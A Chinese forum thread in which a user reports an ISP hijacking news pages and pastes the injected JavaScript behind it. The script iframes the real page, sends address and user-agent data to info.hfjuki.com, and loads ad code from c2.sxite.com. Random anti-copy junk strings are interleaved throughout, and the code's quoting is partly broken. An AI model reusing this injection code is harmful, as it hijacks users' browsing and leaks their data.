上网奇遇记

hudba

上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
$ W  D1 l9 j5 f" w" j
! k% B; x% m) q' M接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
% A$ F* o/ f( H. D

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

7 ~. s( O7 d3 w1 B  I顺便查下ip138：
. T: [2 P& Q; x) \% e) o9 B; E
这是那段js里面的代码，好象是个半成品还没写入广告数据：
0 c8 G, U9 U* T; ]7 t3 e' f

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   * }! t$ W" H, G  A7 h; T0 s; h
4.                 location.reload();
   : P7 ?" H; N" H) \/ K
5.         }
   ' [+ V8 W% P8 w
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   7 S5 m. |# P& {. n
8. 
   ( l! i9 `/ g( |5 U
9. function getParameter(name, paraStr) {
   / e1 Z3 M" G# h7 a
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    # a) ?/ b9 x. \7 ?
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    4 ?0 j/ z! K* b- \1 a- X
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    / X, j, r" k0 |# C
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    4 ^- v3 n+ W$ |+ Q
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    % _7 x; v6 y* g: Q* E
20.                         result = str.substring(str.indexOf(paraName), str.length);
    # v( y$ Q: {: D& w+ C
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    
25.                 result = "No such parameter";
    5 K4 X1 U, [$ Q* A9 F  F* o( g: I( R
26.         }
    
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    
30. function getMainJs() {
    $ n) }  l; |8 _7 Y9 K8 x6 l
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    2 c* {! M# v) l
33.         for (var i = 0; i < scripts.length; i++) {
    5 c9 K- N# s2 Y/ j6 @
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    , V# u; ^* W+ M  y3 d: t
35.                         s = scripts[i];
    
36.                         break;
    
37.                 }
    
38.         }
      b7 t9 @) M3 R( P) Z$ n
39.         return s;
    
40. }
    % w1 z# {/ x( p) j$ X3 i- c5 u- Y
41. 
    
42. function appendParam(oStr, aStr) {
    4 u$ u3 J, ^, R+ z, ^3 Y2 N
43.         if (oStr.indexOf('?') > 0) {
    6 X8 s7 F' B. w, i3 }
44.                 oStr = oStr + "&" + aStr;
    * ]. f6 ?/ R9 S( u/ c, |: y0 }
45.         } else {
    ! A; N+ O0 |+ n: W
46.                 oStr = oStr + "?" + aStr;
    : l, Z# B4 }. |2 {' n2 B0 z, b
47.         }
      a7 v6 u. ~$ w. K2 H% K) K/ ]
48.         return oStr;
    
49. }
    % ~, K% l+ p* f  m" _0 ^* ~! A9 M
50. 
    ; X7 x" Y2 s9 }* V( h0 r
51. window.onerror = function() {
    : W; n& N" x/ A: Z
52. };
    
53. 
    
54. var g_titleTime = 0;
    ! T) T# t- p% d
55. function setTcTitle() {
    
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    , h! H! c! ~+ A% Q) W) y& S; b. r/ s7 l
58.                 setTimeout("setTcTitle();", 1000);
    # u/ F1 D; b9 c& q, f) c
59.                 return;
    
60.         }
    1 _# J* c7 T$ ]$ N* }
61. 
    2 O* T$ Y2 S2 Y0 S! R
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    + a! `& a; R# ?" ]% [
68.                 }
    
69.         } catch (ex) {
    
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    ! L5 _( b6 N% e) O
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    " {! J3 P; K: Z7 G( E
74.                 g_titleTime++;
    3 {: b; T$ R  D, P
75.                 setTimeout("setTcTitle();", 1000);
    + p6 p9 ], L: D( |6 ^
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    % i, `0 J3 ]. G0 U, d
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    7 Q3 L( q( E7 N$ m6 A6 F: |$ [. x& L
80.         }
    / y) H/ x2 F  S) e; L4 D
81. }
    " h; |% K$ Z- X5 n% C, |0 x4 P
82. 
    7 F/ x2 D1 a5 e- G' H- D( k
83. setTimeout("setTcTitle();", 1000);
    3 |4 g% J3 D" c; S+ n/ c9 B( s
84. 
    . M, G& c9 \4 s6 s5 G$ T' V
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    4 W3 K. A3 P8 j: l
87.         if (undefined != document && undefined != document.getElementById("addiv")
    # [; m! ^- Q  e: O& ^3 U! }( s0 Z
88.                         && !g_isHaveVisible) {
    8 X; `8 Z" n9 ]$ x3 u! U
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    - ~  L* T* e8 z" A( G6 l
94. 
    
95. function UrlAnalyzer() {
    " u# @9 w2 O; Z5 O
96.         this.divda = "";
    
97.         this.tctype = "";
    0 X. R8 s1 V) M% B
98.         this.radius = "";
    
99.         this.rlu = "";
    
100. }
     
101. 
     0 w! @2 `! d9 j9 b
102. UrlAnalyzer.prototype.initParameters = function() {
     , j+ Y: ?2 L8 S
103.         var paraStr = locationSearch();
       S0 q  n" Q9 h& q
104.         this.rlu = getParameter("lruedct", paraStr);
     : M; N5 t/ i! T4 G/ r
105.         this.divda = getParameter("divda", paraStr);
     ( K  Q) V3 Z2 D6 D
106.         this.radius = getParameter("radius", paraStr);
     4 E, o* n( _9 n0 F$ C& y
107.         this.tctype = getParameter("tctype", paraStr);
     ( h. Q6 c2 |% O9 ^5 ^
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     2 {  h" A# r  `% Q4 [! C, d
113.         var doc;
     
114.         try {
     
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     * m) v9 t" Y5 F) |3 @
117. 
     
118.                 } else {
     & j! C/ @0 `; u; z' f# f% i0 ]
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     ) q* S: M! h/ T0 S+ P; h
123.         }
     0 R  `+ ~. A- m4 u/ c
124.         return doc;
     4 m  N2 [; g' ~0 C
125. }
     " {8 A. o6 Q8 W; q
126. 
     $ U+ I3 W) y$ b  L4 n, p5 C$ w8 G
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     5 x# Z/ I; `+ h+ `# g8 c
129.         {
     
130.                 var index = document.domain.indexOf(".");
     7 d+ D2 G+ [  |
131.                 if (undefined != index && -1 != index) {
     , \. w/ @) ^$ a6 d$ X$ F/ X4 s5 H+ M
132.                         document.domain = document.domain.substring(index + 1,
     3 Y" Z. A8 Q# W9 z! O
133.                                         document.domain.length);
     
134.                 }
     ( R4 ?8 H( F* x$ C" a/ r* v2 b
135.                
     " K% E3 F* E3 }/ {
136.                 var doc = this.getHtmlDoc();
     : R5 P, o) u4 y
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     2 E, i& }" V7 m
142. }
     ( e$ N# P/ C- ]
143. 
     " y' V) k6 T0 r4 E8 p# @
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     0 p$ {' {  O( \5 t' x  K  z! ~0 b
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     4 ?+ F' q4 B5 [2 Q& x- y( E
147.                 if (undefined != document.domain) {
     
148. 
     % P7 ?: Y: o, A# u( R# L
149.                         var self = this;
     5 _1 A  P, _: L' W( l
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     - X* j' {, E+ X/ [
155.                         // }
     : {1 f8 i! W) \+ B: ^- I
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     8 I# W' v; E3 s4 x% ?
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     1 V* I4 p. U1 S  _$ b" S
162.                         // }
     & n' U; I3 b$ A8 o; [, f0 y
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     ( D# t" g3 ~; P9 Q/ T
165.                 document.title = doc.title;
     $ D8 m3 m  K3 |; r6 O: B& l5 l
166.                 setTcAdvVisible();
     : v" f+ H9 W+ i: R) c3 E) N
167.         }
     8 B3 T- Q* ?2 A# o; }3 l
168. }
     
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     7 i" K# |7 ], v; Z/ J8 O
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     # p  b& A" {' R- J! a
176. 
     
177.         var advUrl = htmlStr
     ( ~" d8 i/ b: }# E
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     % p3 E+ [" j. n. f
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     
181. 
     
182.         var self = this;
     . t2 y! {6 L0 i8 t; k7 ?% P5 \8 k' J
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     8 m& d, E, P6 t7 ^5 Y% m
188.         } else {
     2 Z; d( b7 J7 S6 }3 ^
189.                 iframe.onload = function() {
     
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     5 n' T, ]8 I. B( I( w1 ^
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     ! L  h1 K+ a& |  i$ _! V& F
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     % J, B3 A! e$ T8 g1 m
199.         this.executeHtmlContext();
     4 `: V0 P; {1 d3 @' N$ c: }% f& P; f: Y
200. }
     
201. 
     / G3 b& ]" V7 d) G3 Q/ O
202. var g_analyzer = new UrlAnalyzer();
     9 N0 u4 y5 A, @  K$ u
203. g_analyzer.executeMain();
     

复制代码

& Z4 J$ \, B9 t1 F  K3 Z

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

/ N" t$ M, v- W9 m- O; Z* A  O$ Z, I8 U- oTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

" w) i& E1 {( g2 S, d: U6 h2 @9 ?幸好联通还木有这么强的技术

哈默

在国内，习惯就好